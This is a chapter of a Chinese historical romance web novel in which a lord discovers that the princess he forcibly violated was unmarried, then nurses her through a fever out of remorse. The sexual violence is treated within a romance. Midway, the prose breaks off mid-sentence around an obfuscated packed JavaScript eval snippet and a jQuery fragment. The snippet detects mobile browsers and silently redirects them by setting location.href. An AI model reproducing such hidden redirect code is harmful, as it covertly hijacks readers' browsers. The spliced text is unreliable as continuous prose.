范卢风听见此问却忽地笑了,带着嘲,“沈怀聿啊,你当年因着舒阳长公主一事开始恶心女人,对女子的身体所知甚少很正常。可你总该知道,女子那处是能生孩子的吧?”
“若非未出阁,怎会因剑柄就伤成那样,你自己为她处理的伤口,难不成忘了?”
沈雍既是他的上级,也是他多年的好友,见他忽然脸色惨白,眼中似痛带嘲,整个人都摇摇欲坠,他也不知该说什么好。
“唉,别再让我医被你伤到的她了。”
“以前的沈怀聿不是这样子的......”
语毕,徒留沈雍一人立在原地,似山巅屹立久经风霜的岩石。
沈雍的脑海里闪现过很多画面,心乱如麻,怎么也理不顺。
她怎么会没有与楚珣成亲?老皇帝不都早早给他们赐婚了吗?
若真是如此,那他所做的一切算什么?
虽然恨她出面污蔑沈家,也的确想羞辱她,可他从未想过要以这样一种残暴的、近乎屈辱的方式夺掉一个女子的清白......
这算什么!
一阵眩晕向他袭来,让他有些站立不稳,扶着外帐,余光瞥见银画一瘸一拐端着水盆出来,沈雍招手唤她至眼前。
见了他,她有些惊讶。
但兴许是主子的样子让她过于揪心,一向胆小的银画此刻竟也没对沈雍摆出什么好脸色。
“参见王上。”
沈雍沉默着。
从前不敢问,是怕得到答案自取其辱,如今却是不得不问了。
“公主与驸马,平日里相处如何?”
银画闻言,满脸疑惑,“公主尚未出降,哪来的驸马?倒是先皇为公主与楚公子赐了婚,但又舍不得公主,说要等到公主年满二十再嫁。”
事实摆在面前,沈雍的面色又白了几分。
默了半晌,再开口时他的语气愈发涩然,“那你可知她为何得了这个赐婚?”
银画眉头皱了皱,面色有些古怪,“这个奴婢就不知道了......”
沈雍自是察觉了出来,“说。”
他的语气很轻,银画没来由打了个寒颤,“是奴婢无意间听金罗说的,嗯,金罗也是贴身伺候公主的宫女,她说,这是娘娘和公主一同去求来的恩典......”
空气变得愈发沉滞,银画快要呼吸不过来,心脏跳得极快,在沈雍面前聊先帝赐婚实在不是个好话题。
就在她惶恐得快要磕头的时候,沈雍终于再次开口,“她与楚家那人感情又如何?”
这次银画回答得很快,“奴婢不知,他们几乎不见面。”
行吧。
沈雍又想起什么,“近些日子,她与尉迟丰可有交集?”
听到这里,银画并不敢对他做隐瞒,小心翼翼地告诉了他。
“公主偶尔会找尉迟将军学骑马。”
那腰带的确是系在马鞍上的......
“只是骑马?”
银画听他语气中的压迫感骤然变强,仰头连声回答:“千真万确,奴婢一直陪着公主的!”
看见她眼里的恳切,沈雍没再为难她。
“起来吧。”
银画垂着头踉跄着起身。
“腿怎么了?”
见沈雍居然问起她,银画有些惊惶,“昨晚背公主回来时,不小心摔了......”
又是一阵沉默。
银画小心翼翼地觑向沈雍,只见他面色沉郁灰败,向来摄人的深邃眼眸垂了下去,不知在想什么。
就在她想适时退下时,眼前的人忽地像一阵疾风般刮进了营帐,只留下一句话缓缓飘来。
“随我去主帐。还有,不许向任何人透露我还活着的事。”
银画在心里叹一口气,末了,认命般乖乖去收拾东西。
沈雍将榻上的人轻轻抱进怀中的时候,似抱进了一个火炉。
怎的昨晚没有察觉到她的异常?
不,他明明察觉到了,但被忤逆的恼怒让他选择置之不理。
胸口的窒闷感越来越强,他不由得将她抱得紧了些,大步迈向自己的主帐。
银画则在后头艰难地跟着。
似是察觉到了身后脚步的费力,沈雍偏头吩咐,“你不必急,慢慢收拾全东西过来也是可以的。”
没料到他竟会将自己的伤也看在眼里,银画瞬间愣住。
不待她回话,沈雍已快步离开了。
将柳忆春在自己的帐内安置好,沈雍再次将范卢风薅了过来。
“说清楚,现在要如何医治她?”
沈雍一醒,那女刺客已被带走严刑拷问,他心里本就不知为何闷得慌,后来又被唤去为柳忆春诊治,心情更加低落。
此刻,他对着沈雍自然也摆不出什么好脸色,只含糊地答。
“慢慢将热毒散出来吧......”
沈雍皱眉,“如何散?可会危及性命?”
范卢风有气无力,“有我在,你就不用过多操心了。”
面对好友的隐隐抗拒,沈雍心里也不是滋味,不过此事确是他的错,他并非拿得起放不下的性子。
“此事的确是我的不是,你告诉我法子,能帮她减少些痛苦也是好的......”
难得见沈雍低头,范卢风终是不再消极抵抗。
“唉,男子与女子的体质终是不同,在你身上不算什么的热毒,到了她身上却厉害百倍。这些日子,除了每日喂她我配的药,可以多为她喂水、擦拭身体散热。”
“剩下的,就是等她醒了。”
“届时,她的膳食我也会专门配制,会尽量以最小的代价让她好起来。”
“但我要提醒你的一点是,体温长期维持在较高的状态,是有可能烧坏脑子的。万一,我是说万一,你可别赖在我头上。”
沈雍没料到后果这般严重,越听眉头皱得越紧,“怎会如此!”
想起什么,他又问:“不能像我那样为她散掉热毒吗?”
范卢风白他一眼,“男子为阳,女子为阴,且不说她如今伤着,便是能行那事也只会加重她的症状,你就别想这些了,门外汉最忌讳灵机一动。”
沈雍没有因被嘲笑而生气,只是语气淡淡地说:
“既然如此,你尽快治好她。”
范卢风神色一凛,气焰弱了些,“唉,我知道的。分我一小撮人吧,我有用。”
“干什么?”
范卢风瞥他一眼,没有正面回答,“你不用问,反正是为了柳夫人尽快康复。”
沈雍觑他一眼,没再多问,“好。”
留下一瓶药丸后,范卢风便离开了。
沈雍喂柳忆春吃下,便去端了一盆凉水来。
她依旧是那副无知无觉的样子,掌下的肌肤滚烫,沈雍的动作放得很轻。
衣裳尽褪,入目的一切让沈雍有些不敢面对。腰间与腕上的明显指痕,来自于他。胸前肩颈数不清的红痕青紫,也来自于他。
女儿家的身子如此娇嫩,只扇了他一巴掌,还是太便宜他了......
他们之间,为何总是这样?
他明明不想伤她的,却总是很容易被她激怒,事后又难免后悔,他自己都觉得自己可笑。
说到底,还是他太懦弱了。
一直不敢承认自己对她在意至极,还怕自己
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16718630|186451||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不过是她众多男人中微不足道的其中之一,所以才那般抗拒她对自己的“轻薄”。
为了维护自己那可怜的自尊心,也不敢去求证那些莫须有的“男人”,白白别扭了那么长时间不说,还总对她发脾气......
他明明是个极有决断的人,怎么在感情上却这般拿不起也放不下呢?
不能再这样下去了。
绝对不要再这样下去了。
忍住心中汹涌的涩意,他开始仔细为她擦身。
冰凉的湿帕触上滚烫的身躯,惹得榻上之人无意识轻哼。
沈雍的心又被揪起,一声低喃在帐中回荡。
“对不起,柳昭昭。”
懿春公主,柳昭昭......
你怎会尚未成婚呢?
不惜诬陷沈家救下的如意郎君,为何得了恩典又要等到年满二十再嫁呢?哪朝哪代有这样的先例?
榻上女子苍白潮红的脸蓦地与当初冷汗涔涔、目光涣散的苍白脸庞重合在一起,沈雍右手沾过她鲜血的地方莫名泛起灼热。
他忽地想起那日提及驸马时她懵懂的样子,又想起她误吸入梨花香后明显不对劲的行为。
所以,她是真的前尘尽忘,才会连自己没有驸马、极度厌恶梨花香这种事情都不知道。
这么来看,如今的她对当年助推沈家流放之事也应当真的毫无记忆。
实在是可笑。
他总以为她在骗他、愚弄他,甚至在气急的时候还伤过她。
到头来,这一切都是他一个人的独角戏!
而懵懂无知、一心求死的她,又为此受了多少伤害,他已不敢细想。
罢了。
他不想再执着了。
当初沈家之祸,罪魁祸首在于那是非不分的老皇帝和狂傲自大的楚珣,无论那个站出来做伪证的人是不是她,沈家恐怕都在劫难逃。
就算她当初是因为心悦楚珣才选择作伪证去救他,他也不想计较了。
如今他已对她进行过足够重的报复,甚至可以说过重了。至于她能不能记起来,他能不能得到她的忏悔,都不重要了。
毕竟,他对这件事在意至此,也不过是因为站出来的那人是她而已。
既然她已忘却前尘,那他们不如正好重新开始。
沈雍苦笑,满眼都是自嘲,以这样一个开局,重新开始......
他俯下身去,将额头抵上她的掌心,似是想从她的体温中寻求片刻心安。
但额前的那一小块细嫩的肌肤之上,布满了细密的掐痕,他甚至可以想象她是如何在受不住的时候掐出来的。
于是短暂的心安顿时被止不住的心疼挤压殆尽。
唉,这个笨蛋,为何偏生痛的时候不爱出声呢?
沈雍再无法心安理得地靦着脸守着她。
正巧银画带着整理好的行李赶来,他立刻吩咐道:
“你来照顾她,我出去一趟,记得给她喂水擦身。”
银画看向轻纱遮掩的柳忆春,正色道:“奴婢遵命。”
沈雍知道范卢风有事情瞒着他,也明白他这么做也许是因为假死一计使出后他不便再出面。
可没办法,如今他满脑子都是柳忆春受热毒侵蚀的样子,此事不结,他根本没有心思考虑其他。
而且,只要不失心疯似的直接去高阳王面前晃悠,他有的是办法在自己的领地里隐匿踪迹。
于是从那群士兵见鬼般的眼神中打听到消息后,沈雍想也未想便纵马飞驰而出。
贺风山,冰魄草......
还行,不过往西十余里地的路程。
他一定会为她带回来。